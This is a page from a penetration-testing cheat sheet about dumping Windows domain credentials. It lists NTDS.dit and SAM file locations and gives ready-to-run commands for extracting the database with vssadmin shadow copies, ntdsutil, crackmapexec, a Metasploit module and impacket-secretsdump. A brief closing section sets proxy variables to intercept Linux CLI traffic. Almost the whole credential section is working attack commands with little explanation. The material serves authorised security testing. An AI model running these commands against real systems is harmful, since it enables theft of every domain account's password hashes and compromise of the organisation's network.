> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/others.md).

# Others

## Dump NTDS

### NTDS file location&#x20;

`c:\windows\ntds\ntds.dit`&#x20;

Backup files if contain sam&#x20;

`Windows/system32/config/SAM`&#x20;

`/WINDOWS/repair/SAM`&#x20;

`regedit.exe HKEY_LOCAL_MACHINE -> SAM`&#x20;

### Manual NTDS.dit Extraction using vssadmin&#x20;

```
vssadmin create shadow /for=C: 
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\ntds.dit 
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\SYSTEM c:\SYSTEM 
```

### Dump NTDS.dit with Crackmapexec&#x20;

`crackmapexec smb <target>-u admin -p Password123 -d domain --ntds drsuapi`&#x20;

### ntdsutil&#x20;

```
activate instance ntds 
ifm 
create full C:\ntdsutil 
quit 
quit 
```

Get files from: &#x20;

c:\ntdsutil\active directory&#x20;

### Metasploit&#x20;

`windows/gather/credentials/domain_hashdump`&#x20;

### Impacket&#x20;

`impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL`&#x20;

## Intercept Linux CLI Traffic

<https://frichetten.com/blog/intercept-linux-cli-tool-traffic/>

```
export http_proxy="http://192.168.122.1:8080" 
export https_proxy="http://192.168.122.1:8080" 
```
